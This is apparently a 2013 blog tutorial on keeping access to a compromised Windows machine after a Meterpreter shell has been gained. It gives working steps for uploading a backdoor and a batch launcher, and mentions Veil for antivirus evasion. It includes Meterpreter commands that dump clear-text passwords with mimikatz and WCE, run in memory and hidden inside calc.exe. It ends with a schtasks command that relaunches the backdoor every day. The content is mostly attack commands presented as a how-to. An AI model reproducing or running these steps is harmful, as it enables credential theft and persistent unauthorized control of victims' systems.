Friday, October 4, 2013

Schedule Task in windows after Exploitation.

Recently in Derbycon mubix & carnal0wnage present "windows attacks at is the new black ". It`s really great presentation . You can find it here. So i will put  their method here.

After getting meterpreter shell ; we have to maintain access of shell. You can use meterpreter backdoor & persistent backdoor . But most of times it will caught by AV. You can create FUD payload using Veil.We can also create schedule task for our backdoor.

First create one batch file , put following code in it

@echo off
"C:\Documents and Settings\nirav\Desktop\backdoor.exe"


Then upload your backdoor & created batch file.Please adjust path of batch file according to your upload path of backdoor.

Get clear text password:-

Following are different methods to get clear text password of windows.

(1)using mimikatz or wce get clear text password of victim.

(2) You can also use mimikatz password dump method .

(3)You can also use mimikatz meterpreter plugin which i used in this tutorial.

   meterpreter > load mimikatz
   meterpreter > help mimikatz
   meterpreter > kerberos
   meterpreter > mimikatz_command -h
   meterpreter > mimikatz_command -f sekurlsa::logonPasswords -a "full"

(4)You can use wce & mimikatz in memory without uploading binary.

(a)WCE in memory:-

cd %systemroot%
cd system32
pwd
execute -H -m -d calc.exe -f /root/wce.exe -a "-o foo.txt"
cat foo.txt

(b)Mimikatz in memory:-

cd %systemroot%
cd system32
execute -H -i -c -m -d calc.exe -f /root/mimi/Win32/mimikatz.exe -a '"sekurlsa::logonPasswords full" exit'

get-clear-text-password
So till now i upload one batch file ; backdoor & get clear text password.

Now we are going to schedule our backdoor.We are going to use schtasks command. For detail option about schtasks visit here . In this tutorial i schedule my backdoor daily at 22:16. So everyday at 22:16 my backdoor will be executed & i will get shell.

C:\Documents and Settings\nirav> SchTasks /Create /SC DAILY /TN Evil2 /TR "\"C:\Documents and Settings\nirav\Desktop\sch.bat"" /ST 22:16:00

It will ask to enter password which we got before.

schedule-task

You can also use different option like ONIDLE, ONLOGON, and ONSTART & execute different binary according to your need.

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